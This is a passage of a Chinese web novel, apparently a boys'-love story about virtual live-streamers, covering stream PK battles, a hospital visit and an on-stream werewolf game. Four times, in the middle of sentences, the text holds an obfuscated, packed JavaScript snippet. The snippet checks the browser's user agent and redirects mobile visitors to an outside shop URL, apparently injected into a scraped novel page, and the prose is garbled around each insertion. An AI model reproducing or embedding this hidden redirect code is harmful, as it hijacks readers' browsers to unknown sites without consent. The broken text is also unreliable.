直播间弹幕飞快滚动,伴奏响起,开口的瞬间,弹幕凝滞几秒。 闵谌的嗓音是那种清冽的音色,像山涧流淌的山泉水,冷而不寒,干净得没有一丝杂质。 间奏缓缓铺陈,他先落了低音将声线下沉,包裹着淡淡的怅然,温柔得像阵微风拂过脸颊,听得人心尖一颤。 停顿几个节拍,旋律陡然攀升,他毫无阻碍地接上高音,清冽声线陡然拔高,不喊不炸,听得人起一身鸡皮疙瘩。 一曲终了,直播间弹幕齐刷刷飘过, [好听。] [好听。] [好听。] [M.六夜竹送出玫瑰庄园x1] [M.9527送出玫瑰庄园x1] [用户64329498送出玫瑰庄园x1] 闵谌看着礼物特效呆了半晌,才道:“谢谢哥的礼物,谢谢陈总的礼物,谢谢用户的玫瑰庄园。” [用户64329498:好听。大拇指/大拇指] [六夜竹不开播天天蹲你洗衣粉直播间是吧。] [M.漂亮花儿粉丝。] 李竹不理他们,又砸了几个玫瑰庄园后扯着陈嘉炽离开直播间,随后用户64329498也跟着离开了直播间。 又播了一会,闵谌外出打野,也就是随机匹配直播连线打pk,一般野区主播质量很一般,反正以前他外出打野就没遇到过高质量的主播,不是脏话满天飞的就是一些想口头上占女生便宜的大龄男主播。 第一次连线到一位男主播,闵谌没来得及打招呼,对面先道:“我草,这年头虚拟主播怎么这么多,不好意思兄弟我找个女的。” 刚说完对面立马退出连线。 闵谌:“......” “虚拟主播怎么了?” 弹幕: [就是,虚拟主播怎么了。] [虚拟直播总比他那瓦亮的脑袋看得舒服。] [笑死了,瓦亮的脑袋。] 闵谌嘀嘀咕咕转头再次点击随机连线,没几分钟遇到了个同行,是隔壁公会“权音语音厅”的q.斯摩棱。 闵谌道:“斯老师好。” q.斯摩棱道:“花老师好。” 闵谌道:“请问老师想玩什么。” q.斯摩棱道:“五分钟奖励局有没有搞头老师。” 闵谌应下:“道具能用吗?” q.斯摩棱想了下:“还是不用了吧,我家已经没道具了。” “好。” 所谓的奖励局就是惩罚局,有的惩罚对别人来说就是奖励,因此大家喜欢叫奖励局。 闵谌开了五分钟的pk时间,两人闭麦开始拉票。 闵谌现在已经开始厚着脸皮叫家里的粉丝刷礼物了,没有了当初刚进名门那会那么拘束。 “粉丝宝宝们,第一次出来打野想拿个首胜,我就厚着脸皮抠你们点钱了,能刷的粉丝宝宝们可以刷点,刷点便宜的不用太贵。” 这边话音未落,直播间粉丝刷的礼物跟不要钱一样砸,以至于闵谌谢了三分钟礼物,头顶的pk进度条属于我方碾压对面一大截。 直播间弹幕: [刷!刷大的!] [花宝好贴心,我不会给你刷便宜的,因为你的强来了!] [别心疼粉丝钱包了,哎哟我天,给你挣点挣点。] [花儿真好,还叫我宝宝,不像六夜竹叫我兄弟。]35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483925|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 五分钟结束,闵谌一开麦就听见q.斯摩棱还在谢榜,等了几秒后斯摩棱道:“老师要给什么奖励。” 闵谌问:“你能接受到什么程度?” q.斯摩棱道:“我都行,除了骂人,其他的我都能接受,老师。” 一个坏主意萌生嫩芽,他拐弯抹角支支吾吾半天道:“那你来我播间给我粉丝发红包吧,200的就行。” 此话一出q.斯摩棱以为自己听错了,“啥?” “啊?”闵谌道:“你不是说不骂人都能接受吗?那请你来我播间给我粉丝发个200元的红包。” q.斯摩棱:“……成。” 他开着小号去后台找了闵谌家管理,转了200元,管理也是速度,立马把这两百用来发红包,200分50个发,万人直播间纯靠手速去抢。 斯摩棱沉默了一会,大概越想越不服输,或者是想把这两百要回去,“复仇敢接吗老师。” 闵谌道:“接了。” q.斯摩棱道:“2v2,我再拉一个人,老师也再拉一个人。” 闵谌没什么意见,应了声“好”便开始翻好友列表,看看谁在线。 名门的人基本上都在线,有的在局里出不来,给他发了消息告知;有的还在唱歌,最后皇子进来了。 皇子一进来就热情地打招呼,“哈喽哈喽各位老师好,花儿好点了吗?” 闵谌笑着道:“好多了已经,谢谢关心。” “嗐。”皇子道:“主要是我们都不知道你情况,上医院看你的时候竹哥还不让多留。” 闵谌怕继续聊下去要成闲聊连线,连忙转移话题道:“哈哈哈,我刚开播没多久,拉你一起打pk2v2。” 皇子道:“可以啊,没问题。” 斯摩棱拉的也是自己公会的人,是个声音很低的低音炮,叫云。 四个人很快组成2v2pk,闭麦拉票的时候他故意没关皇子的麦,只听劲爆的bgm炸响,皇子仿佛换了个人似的喊着拉票:“家姐们!看看进度啊!首票翻倍咱们冲一冲!不能拖花儿后腿!动动你们的小手指让哥们挣点了!冲冲冲!” 闵谌跟着直播间粉丝直乐,他闭掉皇子的麦:“我第一次见皇子这样拉票,哈哈哈哈哈哈哈。” 弹幕: [哈哈哈哈哈哈哈哈哈。] [简直两模两样!] [皇子这压声,笑死了,人怎么可能搞笑成这样。] 乐完闵谌开始拉票。 这把进度条很紧张,一开始闵谌他们压着对面一半票数,现在被反超,好在还有机会追赶,还剩下一分半的时候就要守塔,防止对面有老板刷礼物拉开很大距离。 就在票数紧张的时刻,闵谌这边空降一位榜一大哥,M.六夜竹。 [M.六夜竹送出玫瑰庄园x1] 闵谌眼前一亮,“谢谢哥的礼物,谢谢。” [M.六夜竹:不谢,吃点什么,我去买。] 闵谌道:“不知道呢,哥买什么吃什么。” [M.六夜竹:买只鸡回来炖。] 闵谌立刻拒绝,“不了不了,这段时间太补了,我有点受不了。” 这段时间,吃的就没几样是家常菜的,都是各种鸡汤鸭汤鱼汤,还有什么筒骨汤,阿胶当零食吃,李竹恨不得把阿胶做成十八道菜。 15. 第 15 章 李竹到家的时候闵谌还在直播,进门第一时间是给他拿了瓶奶,亲自打开递到他唇边。 闵谌自然地歪头用嘴去接。 动作无比娴熟,可见李竹平时把他当成小孩来养了,什么都亲力亲为不假手于人的那种。 李竹拉了张椅子坐在身旁看闵谌直播,看见弹幕扣了一堆问号。 [对面玩不起吧?] [复仇这么多把。] [斯摩棱每次拉进来的人都是他们公会头部吧?] [我们这边就一个小主播,这也会有胜负心,是有多想整你。] [说白了就是花儿最近势头有点猛,二创视频万赞,有人眼红了呗。] 闵谌不想被带节奏,避免有些人拿去剪二创掐头去尾,他道:“大家不要乱说,斯摩棱老师人还不错,愿意带着我玩,不要被没必要的节奏带歪。” [没必要商业互吹了。] [前面的,花儿这么说是怕被带节奏。] [就是,某些别家二创喜欢带节奏,到时候被冲的就是直播本人。] 越看李竹眉头皱得越深,为了搞清楚情况他戴上耳机,开着小号进入闵谌的直播间。 这把已经是闵谌和皇子赢的第四把了,斯摩棱一直复仇,很明显存着较劲心理。 q.斯摩棱道:“花老师,还接复仇吗?” 对方的语气闵谌听着不是很舒服,想了想道:“不了吧,已经打这么久了,家里粉丝也燃尽了,没必要继续打下去了。” 闻言q.斯摩棱更加来劲了,把激将法都使出来,“花老师是不是知道我们权音头部人物在直播,所以不敢打?” 闵谌:“……” 皇子那边基本上也燃尽得差不多了,他直播间粉丝钱包已经被这四场pk掏空,“花儿,不打了吧,我们没分儿了。” 直播间弹幕: [我靠,这人有病吧。] [他是不是不相信人能一直倒霉啊。] [打!花宝,跟他打!姐明天洗盘子照样给你刷!] [我说白了,这兄弟太想火了。] 正当闵谌不知道怎么回答的时候,一只大手握住他右手,顺着他的手操作关掉pk麦克风。 “打,拉我。” “嗯?”闵谌抬头。 李竹重复道:“跟他打,我看看怎么个事儿。” 闵谌眼睛在他脸上巡视一圈后,脑袋一点,打开pk麦克风,“行,接了。” 皇子道:“花儿,我有点死了,这把咱们可能会输。” 闵谌安慰道:“没事的。” 他扭头伸着脖子看了眼最里面的卧室又道:“方便等我几分钟吗?” q.斯摩棱语气轻快,给人一种他已经赢了的感觉,“方便啊,希望拉的对手不要太弱哦。” 闵谌肯定道:“不会。” 几分钟后斯摩棱拉了他们老总进局,直播间立刻炸了。 [这场pk我将会当成打公会赛来看。] [无敌了兄弟,无敌了。] [权音总裁一登场,我就知道这场pk将是本年最精彩的一次pk。] [斯摩棱这是拉了多少他们语音厅的头部啊,连总裁都拉来了。] 皇子看到斯摩棱拉了他们语音厅公会老总,顿时有点汗流浃背,悄悄发消息给他。 [皇子:花儿,要不咱们撤?] [超绝声线:撤不了了。] [皇子:???] [皇子:难道你有老板?] [超绝声线:没有啊,我有秘密武器。大拇指/大拇指/] [皇子:牛,待会我倒要看看是个什么样的秘密武器。] 这边刚打发消息就看到李竹的申请连线。 q.斯摩棱:“老师,这么久还没人吗?” 闵谌皱眉,越听越觉得对面在阴阳怪气,“来了。” 下一秒,李竹面无表情一脚踹进这把pk局内。 皇子:“……” 不是,哥们,你秘密武器是你男人啊。 q.斯摩棱:“……” q.云:“……” q.权总:“……” 直播间弹幕又炸了: [我去!!!] [兄弟们!我们不用洗盘子了!] [六夜竹活该你有洗衣粉!] [有点火热了家人们。] 李竹开口:“玩的什么局?” q.斯摩棱连忙问好:“玩的奖励局老师。” 六夜竹这个名字在名门还没出现时就已经有些知名度了,早些在yy混,后来名门成立后就进了名门当虚拟主播,现在上网考古都看到早期六夜竹在yy的人气有多高。 权音大多数人都知道六夜竹的来路,在网络歌手这一块,称得上一路生花这个词。 斯摩棱没想到他把六夜竹拉来。 虽然刷到过关于两人二创视频,知道六夜竹和漂亮花儿是搭档,只是没想到这俩人关系这么好,更何况漂亮花儿还是个新人。 李竹轻“啧”一声:“玩点儿紧张刺激的尖刀局怎么样?奖励局玩久了,多没意思。” q.斯摩棱硬着头皮答应:“行,那来呗。” 李竹开了十分钟的pk局,不闭麦,全凭直播间粉丝刷礼物说话,只有分高才有说话的权利,分低的人不能开口插话,简单来说弱者只有立正挨骂的份。 名门的一队,权音的一队。 在两位队友燃尽的情况下李竹一个人拖着两名队友全力碾压权音,权音的老总拖不动队友,分数迟迟追不上来。 李竹清了清嗓子开麦道:“斯摩棱,云,还有权音老总,你们仨挺有意思的,趁我不在欺负我的人,自己几斤几两不知道吗?斯摩棱。” q.斯摩棱尴尬地“哈哈”两声:“在呢竹哥。” 李竹继续道:“别的我就不说了,打个pk输了,就老老实实回权音得了呗,还复仇上了,几个菜啊。别光顾着自己复仇,也心疼一下你家哥姐钱包行么?都给你喊得干瘪了。” 权音三个被说得脸上有点挂不住,虚拟皮套脸上一直笑着,不好噜噜脸但凡表情有点变化都能被动捕捕捉到。 李竹整整尖刀了八分钟,其中两分钟给闵谌和皇子匀了点,这俩人说不出什么带刺的话,皇子窝里横,对外跟新兵蛋子似的。 直播间弹幕: [不知道你们爽没爽,反正我爽了。] [六夜竹依旧这么有嘴。] [六夜竹的权威我后知后觉。] 皇子直接化身尖叫鸡,“啊啊啊啊啊,我靠太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483926|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爽了!虽然我没尖刀,但是光听着就很爽,太有实力了竹哥。” 李竹那边一阵稀稀疏疏后才道:“一般,等你哪天跟我一样有男人味儿,你也可以这么拽。” “……”皇子道:“这辈子都不可能了,我是零。” 李竹反应平淡:“哦,那很可惜了。” 然后他转头对一直沉默的闵谌道:“今天播六个钟头了,下播吃点东西,我回来的时候买了,在桌上,冷了的话我一会帮你热。” 闵谌播了六个小时有些疲惫,于是他听话地跟直播间粉丝道谢下播。 他掌心很痒,想把手上已经结痂的伤口抠掉。 皇子说自己是零那会,李竹的反应很平淡,也就是说李竹完全能接受自己身边存在男同,就是不知道能不能接受被男同喜欢。 越往深处想闵谌越是心慌,自己真的彻底沦陷进李竹这个直男的陷阱里了。 他以为自己能够在李竹选择别人时,全身而退,至少在网上拥有过对方,以后收场也不会这么难受,直到他越陷越深无法轻松抽身。 越想越烦躁,左脑告诉他,陷进去也没关系,大不了让李竹离不开自己,大不了把一个直男掰弯。右脑告诉他,日后有那么一天,他想有一个体面的退场,而不是把关系搞得这么尴尬。 闵谌评价自己,就是个矛盾体,喜欢又不想放手,不喜欢又做不到,思路一团乱。 吃完饭,闵谌吃了点饭后水果,在家里逛了一圈,发现没纸了,戴好口罩下楼买点纸用用,后面再去网上囤货。 戴好口罩帽子,准备开门出去,李竹跟鬼一样出现在身后,“去哪儿?” 闵谌吓了一跳,摸着自己小心脏缓缓转身,“哥,你吓死我了。” 李竹短促地笑了声,调侃他:“这么不禁吓。” “才不是。”闵谌反驳他,又回答他上一个问题:“我下楼买点纸,家里没纸了。” 李竹从裤兜里拿出口罩给自己带上,“走吧。” 闵谌问:“去哪?” 李竹揉了一把他脑袋,“买纸。” 闵谌指着卧室方向问:“不直播了?” 李竹戴上帽子,换好鞋开门,一副理所应当的样子道:“哦,我跟直直和西瓜皮说我去上厕所,让他们给代播一下。” 闵谌无言以对,只能说老油条就是这样的。 两人去公寓旁开的超市买了一堆生活用品和零食,本意是买纸,结果回去的时候两人双手大包小包提着。 在等电梯时,刚好来了位女生,女生看着有些眼熟,留着一头卷发和空气刘海,同样戴着口罩,光从眼睛看就觉得这女孩长得很漂亮。 李竹放下东西摸出手机,里面全是西瓜皮的消息,问他是不是掉厕所了,他回了句下楼买了点东西,让他们再播一会。 回完消息扭头一看旁边站着个熟人:“合同签了?” 女生看到是李竹眼睛立刻亮了,“对呀,嘉炽哥亲自签的呢。” 李竹点头:“哦。” 电梯到了,闵谌一言不发拿着东西站在电梯最角落,主动给两人腾出位置,自己被塑料袋勒着手指关节,默默用指甲刮着掌心伤疤。 女孩跟李竹站在一起,闵谌从后面看着他们,心里莫名其妙冒出一句: 还挺配……个屁。 16. 第 16 章 女孩小心翼翼一点点靠近李竹,李竹左右扭头,没看到人,“花儿?” 闵谌默默挪到李竹身后,“哥,我在这。” 李竹反手在他身上摸了一把,从他手上接过袋子,弯腰放在地上,“来我边上站着,你那手受伤,别一直提着不放。” 上手一空,手心的伤疤更痒了,特别想扣。 等了一会没听身后有动静,李竹直接伸手去拽人,“缩着干啥?” 他辩解:“没有。” 女孩探头往他这边看,笑着冲他点头。 他也礼貌地回了个点头。 “哦。”李竹一拍脑袋,“差点忘了介绍,这是我妹妹,苏影。这是闵谌。” 苏影笑着道:“我知道,嘉炽哥老说。” 李竹看着电梯上升,快到他们住的那层,弯腰拿起地上的袋子,他跟着伸手去提东西,李竹躲过他的手,“我拿就行,边儿凉快去。” 顿了顿对苏影道:“女孩子大晚上出门注意安全,记得在包里装点防狼喷雾,走了。” 苏影道:“好。” 电梯门打开,两人一前一后走出电梯,刚到门口李竹急头白脸道:“快快快,他们催我了。” 闵谌输入密码的手因为一句话,快把0摁烂了。 门刚打开,李竹跟在他身后慢悠悠进门,活动范围大点的时候,整个人就像被火烧屁股一样急吼吼地将东西往桌上一丢,冲进卧室。 闵谌哭笑不得。 卧室桌椅一阵叮铃咣啷地响,随后李竹喘着粗气道:“兄弟们兄弟们,回来了回来了,没掉厕所。” 西瓜皮终于松了口气,“我寻思着你拉的哪国屎拉这么久。” 李竹笑骂:“滚嗷。” 此时弹幕。 [六夜竹晋升厕所所长。] [我没心情跟你闹了,除非你让花儿来讲两句。] 他盯着弹幕看了一会,全是让花儿来讲两句。 “让花儿讲两句,别想了,他今天播这么久还来我直播间看你们,挺烦人的,以上是我个人言论,不服来找我掰扯。” [六夜竹你要死啊!] [爽了,多骂点。] [我是路人,请问主播一点也不在乎粉丝的心吗?] [前面的,谁是他粉丝,他都叫我们兄弟,不管男女。] 李竹挑眉看着那条弹幕道:“有啥可在乎的,她们也没少骂我,大家都是对抗路兄弟。” [没毛。] [对抗路主播和她那群对抗路兄弟。] [六夜竹人设依旧屹立不倒。] [从不媚粉,不给他刷礼物还会自己开小号给自己刷。] 西瓜皮突然出声:“竹哥,直直,你俩帮我代播一会,我去所里办点事儿。” 李竹道:“行。” 直直说:“去吧,我们帮你播,保证人数不会少。” “都是好哥们。” 两人等了一会,确认西瓜皮已经在厕所后李竹道:“直儿。” 不等李竹说明意思,直直道:“给他野区去。” 两人同时乐了出来,人在干坏事的时候是不觉得累的,直直直接退出了连线,这边李竹点了随机pk,没几秒匹配到两个女主播。 李竹道:“两位美女好,我朋友有点想不开,需要美女逗他开心,所以来野区麻烦一下两位美女了。” 说完他直接将西瓜皮一个人丢在野区,火速退出pk连线。 弹幕: [哈哈哈哈哈哈哈哈哈。] [刚从西瓜皮直播间退出来,你刚走他就回来了。] [哈哈哈哈哈哈哈哈哈。] [太好笑了,西瓜皮都懵逼了。] [西瓜皮说他眼前一黑又一黑。] 李竹乐了好一阵,差点把桌上的水杯打翻。 下播的时候西瓜皮直接发消息控诉他,不小心把消息发到扣排群,西瓜皮回头看,已经超过两分钟,撤不回了。 他在闲聊群里给本就不富裕的西瓜皮雪上加霜。 [麻瓜:@西瓜皮,罚两百,快点的。] [西瓜皮:发怒/发怒/都是谁害的!] [直直:笑死我了。] [皇子:发生什么事了!] [预制菜:两百红包,我已经做好准备开抢了。] [妹妹哥:也是赚到了。] [噗噗:西瓜皮,赶紧的别墨迹。] [气球:在线等红包,很急。] [假人:你是怎么把消息发到扣排群的,我请问。] [西瓜皮:哭/哭/话都在红包里了。] [西瓜皮:[红包]恭喜发财,大吉大利] [噗噗:抢了个0.64,我笑了。] [气球:67块,意满离。] 李竹抢了个98,便收了手机。 不在群里发言怕西瓜皮带头起哄让他发红包。 他起身活动了下身体,打算洗漱完就睡觉,刚出卧室客厅灯还是开着的,心里还在想闵谌这么晚不睡,一到客厅看见闵谌蜷缩在沙发上睡得正香。 闵谌侧躺着,膝盖弯曲,双手抱着自己,靠枕压着头,额前碎发凌乱。 这是一个极其没有安全感的睡姿。 他弯腰轻轻叫了两声闵谌的名字,没醒,于是他蹑手蹑脚地把人抱起来,支起上半身地瞬间闵谌脑袋往他胸口蹭了蹭。 李竹抱着人不敢动了。 把喜欢的人拥入怀里的一瞬间李小竹昂首挺胸是什么感觉呢,只有李竹自己才懂。 他低低骂了句什么,缓了一会才一步一步把人抱回主卧去。 从客厅到主卧距离不远,他足足用了十来分钟,把自己弄得满头大汗,看得见吃不着,不亚于心里有千万只蚂蚁在爬的那种抓心挠肝。 他自己也憋的难受,拔腿往浴室冲。 闵谌睁开眼,手臂遮住眼睛,突然有点后悔刚刚没睁眼。 - 冲半个小时冷水澡的代价是李竹第二天发烧了,烧到39.9。 整个人完全就是一个行走的烧火棍。 闵谌给他找了退烧贴和感冒药吃都没见好,“哥,去医院挂水吧,好的快些。” 李竹抱着抱枕歪在沙发上,满脸拒绝:“我不去。” 闵谌单腿跪着沙发垫,弯腰去捞李竹的手,触手滚烫的不行,“走吧,哥,我们去医院,挂完水就回来。” 李竹把头埋进抱枕里,露出一只眼睛看他,“你求我。” “求求你了哥,去医院吧。” 李竹怔愣,本以为闵谌会拒绝,没想到他不带一丝犹豫地说了出来。 人闵谌没害羞,他害羞上了,老脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483927|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一红道:“去去去,现在就去。” 两人到医院输液后,四个人都沉默了。 四个戴着口罩的男子大眼瞪小眼。 李竹嫌弃道:“我怎么上哪都能遇上你俩?能离公司员工和兄弟的生活远点么?” 陈嘉炽翻了个大白眼,“哥们,你俩暗中跟踪我吧。” 李竹不屑道:“跟踪你?你枕头底下那几个破钢镚谁要?要点脸儿行么?” 陈嘉炽左手被牵着,用右手朝李竹竖了个中指,付岁连忙上手去按,“乖,别动,待会回血了。” 闻言李竹跷起二郎腿,拍拍身边的位置冲闵谌道:“乖,换这边来坐。” 闵谌:“……好。” 陈嘉炽翻白眼,李竹翻回去,两人你一轮我一轮的翻白眼比赛突然戛然而止。 四人沉默着齐齐看向刚入座的女士,国道兄弟看过去是因为认识她,付岁和他则完全是出于本能反应。 十只眼睛你看看我、我看看你,一时之间不知道要说什么。 李女士率先开口:“你们俩怎么回事儿?” 李竹如实回答:“洗冷水澡。” 陈嘉炽道:“吹冷风。” 李竹问:“我爸呢?” 李女士欣赏着自己新做的美甲道:“在公司呢,儿子们,看妈新做的美甲,好看吗?” 李竹有点欣赏不来,这种长长的款式还很复杂的美甲,“一般。” 陈嘉炽道:“干妈做什么美甲都好看,李竹那傻缺审美不是人类能苟同的。” “你妈……” 李女士赶忙抬手制止争吵:“得得得,医院禁止大声喧哗,你俩都给我老实点。” 李竹悻悻然闭嘴。 陈嘉炽得意得像只花孔雀,在那摇头晃脑,在李竹怒火边缘疯狂试探。 李女士拿出手机假装玩游戏,实则偷偷给闵谌和付岁拍了两张照片发给自己老公。 [美丽大方女明星:老公,你看咱未来儿媳妇儿,可乖了。] [美丽大方女明星:还有炽炽的男朋友。] [aaaa.李总:嗯嗯,都乖,老婆觉得乖我也觉得乖。] [美丽大方女明星:你懂个6,抽空敷衍我呢。] [aaaa.李总:哪能敷衍你,我先开个会。] [美丽大方女明星:滚犊子。] 五个人沉默着各玩各的手机,闵谌还好,不算很专注,时不时抬头看一眼头顶的药瓶。 他挺享受现在这种状态,第一次出门心里没有厌烦。 很久以前他一直一个人,每次出门很久心里就会感到厌烦,想回家,想快点回到自己的舒适圈去。 好像无论做什么,只要李竹在身边,厌烦的情绪就不会冒头。 挂完水已经中午了,两人在外面打包了些饭菜回家,李竹感冒没好不想下厨,闵谌下厨更不可能,连厨房一步都别想进。 为此,本来放在厨房的冰箱被搬到厨房门口,为了不让闵谌进入厨房,李竹真是煞费苦心。 他们这边刚到家,手机上的名门高层群就发来消息。 [秃头哥:两个月后是名门一周年纪念日,到时候会拍摄纪念日做的小游戏,大家可以当成综艺来玩,不用紧张,毕竟是一周年,没什么经验暂时不开演唱会,望周知。还请各厅管理发下去!!!@所有人] 17. 第 17 章 两人围着茶几坐在柔软的地毯上吃饭。 “哥,两个月后是一周年?” “对。” 闵谌翻看两个月后的日期,不禁感叹:“好巧啊哥,刚好和我刚进前公会的时间一样。” 李竹一口饭差点喷出来,随口胡诌道:“本来是这几天的,不过是哪一个时间点我和陈嘉炽都不记得了,那会忙就随便选了个时间段当周年过。” 闵谌一副了然的模样,“那也很有缘了。” 李竹给他夹了几筷子菜,“确实有缘,先吃饭。” “好。” 李竹怕再多说几句自己嘴就控制不住一股脑全倒出来。 吃完饭两人正常排档,这还是闵谌进入名门以来第一次和李竹在一个档上。 今日是主题档,主持是李竹。 整点时人都来了,语音厅也开始热闹起来,粉丝们给自己喜欢的主播刷礼物,短短几分钟,这两人就完成了扣排任务。 李竹把所有人缩小,弄了个投屏,是游戏规则,今日主题档一共有两个游戏,狼人杀和谁是卧底。 看到两个游戏后李竹两眼一抹黑,霎时间有点想把陈嘉炽“送走”,这种游戏主题档为什么要让他当主持,当主持就没法跟闵谌一队。 越想越气他键盘敲得噼里啪啦地响。 [麻瓜:陈嘉炽你是人吗?] [秃头哥:咋?] [麻瓜:游戏档你让我当主持?] [秃头哥:你以前不都爱当主持吗?] [麻瓜:微笑/我和花儿一个档。] [秃头哥:……] [秃头哥:那什么,你换一下?让噗噗跟你换,你不在的时候他是主持。] [麻瓜:算你有点良心。] [秃头哥:包的包的,兄弟爱情的绊脚石我不做。] 那边噗噗临时被通知换主持,让他上,他因幸福来得太突然,忍不住发出尖叫声。 气球骂道:“你嗓子装扩音器了是吧,不行你上来唱首戏腔听听。” 噗噗连忙拒绝:“不,幸福来得太突然,你不懂。” 李竹把主持交给他。 噗噗道:“各位粉丝朋友们大家好,我是本场主题档的主持,噗噗,大家也看到了,咱们第一轮游戏狼人杀,一共两把狼人杀,两把谁是卧底,规则想必大家也看了,那么现在由我来给大家分发身份。” 闵谌咬着指甲盖,他不会玩狼人杀,希望拿个平民的身份。 微信发来消息。 [噗噗:本轮你的身份是:狼人。] 闵谌:“……” 越不想什么越来什么。 [噗噗:你的狼队友,是六夜竹、皇子。] 闵谌:“……” 好安排。 噗噗开麦道:“本轮各自玩家已拿到身份,我再说一遍,本场狼人杀,三狼,三神职,两平民。” 他把声音压低,配合诡异的背景音乐“那么,游戏开始,天黑请闭眼,狼人请睁眼,请选择你要刀的玩家。” 闵谌不知道要刀谁,把噗噗的名字发给法官。 噗噗哭笑不得:“这位狼人是有多恨我,禁止对法官出刀哈。” 闵谌闻言差点没绷住笑出声,他忘了噗噗现在是主持兼法官。 [超绝声线:直直。] 噗噗道:“狼人请闭眼,女巫请睁眼,今晚倒牌的人是他,是否使用解药,是否使用毒药。女巫请闭眼,预言家请睁眼,请选择你要查验的人,他的身份是这个。天亮了,昨晚倒牌玩家,西瓜皮,直直,请西瓜皮发表遗言。” 西瓜皮憋笑憋得难受,说话时嗓音都跟着抖:“直直,哥对不起你,我是女巫,第一把狼刀的你,我救了,噗噗问我用不用毒药的时候我把你名字发给他了,实在是不好意思,过。” 直直怒吼:“你妈的西瓜皮!我要杀了你!” 噗噗作为一个不称职的法官,笑出了鹅叫声。 弹幕: [谁家鹅放出来了。] [笑死我了。] [出去逛一圈,发现除了名门没哪个语音厅能逗笑我。] [神人西瓜皮。] [妙哉妙哉。] 噗噗清了清嗓子:“好啊,那什么直直发言完毕,下一位是咱们名门的M.六夜竹。” 李竹道:“死都死了还要穿我衣服啥意思,我是女巫啊,昨晚被刀的是直直,我没救,解药打算给自己保命用的。西瓜皮是我毒的,没有一个人蠢到把同一个名字发两遍的,然后直直遗言没报身份,应该是好人走的,过。” 皇子道:“我是预言家,昨晚验的假人,铁狼,过。” 闵谌道:“我是好人,过。” 假人开麦大喊:“冤枉啊!我是好人,铁好人,这个皇子绝对是头狼,过!” 预制菜道:“皇子别穿我衣服了,我才是预言家,我昨晚验的假人,本来不想跳出来的,你穿我衣服把假人拍成铁狼,我一个真正的预言家已经看不下去了,这把归票我投皇子。” 气球道:“我没什么好说,平民牌一张,我跟票。” 噗噗道:“请开始投票,请把名字发给我。” 闵谌没吃过猪肉见过猪跑,现在这个情况下把预言家票出去,狼便可以控场了,就算没把预言家票出去,第二晚把预言家刀了就赢了。 无论预言家有没有被票出局,这把稳赢。 噗噗公布票数,“预制菜三票,皇子三票,现在属于一个平票,双方进行一下pk。” 预制菜不可思议道:“为什么会平票?这场上难道一只狼也没出局?” 皇子道:“不pk了,直接票,我是预言家,没什么好说的。” “那么好,接下来开始投票。” 两轮投票均是平票,无人出局。 最后憋了很久的李竹没忍住自爆身份:“不装了,我是狼。” “哈哈哈哈哈哈。”噗噗道:“天黑请闭眼,狼人请睁眼,请选择你要刀的玩家。” 毫无悬念,预言家出局。 “狼人获胜。” 直直道:“西瓜皮,我真要狠狠奖励你了。” 西瓜皮:“我玩狼人杀第一次拿到女巫,有点激动。” 直直道:“你滚!” 弹幕: [绝了,六夜竹怎么最后敢爆身份的?] [很简单,因为场上就一个神职了,还藏着掖着干嘛?] [万一场上有猎人,不就完了吗?] [有也不怕,不刀猎人就没事,况且预言家已经跳出来了,谁会这么傻去刀猎人。] [这身份穿得真牛逼,我只能说。] [太精彩了,真想看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483928|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们线下玩一次。] 看到这条弹幕闵谌心道,别了吧,他玩都玩不明白,只会一味的说自己是好人,要是李竹和皇子不是队友,这把都没机会赢。 第二轮狼人杀开始,闵谌拿到平民身份,第一晚就被狼人给刀了,发表遗言时默默地说了句:“我是平民……” 早点出局的好处在于他现在不用坐在电脑面前,起身去冰箱里拿点小零食吃,看他们玩,但是他没关麦克风。 “这把我是预言家…咔咔咔…昨晚验的皇子…咔咔咔…啧,”李竹一忍再忍,最后忍无可忍道:“M.漂亮花儿,请你闭上你的麦克风。” “咔咔咔…啊?我没关麦吗?” 李竹咬牙切齿:“你说呢?” 闵谌火速闭麦。 他羞得脸颊通红,出糗出大了,连零食都放在一边碰都不敢碰。 弹幕: [我不行了,笑得我们老师盯了我半节课。] [谁懂我狗屎一样的笑点。] 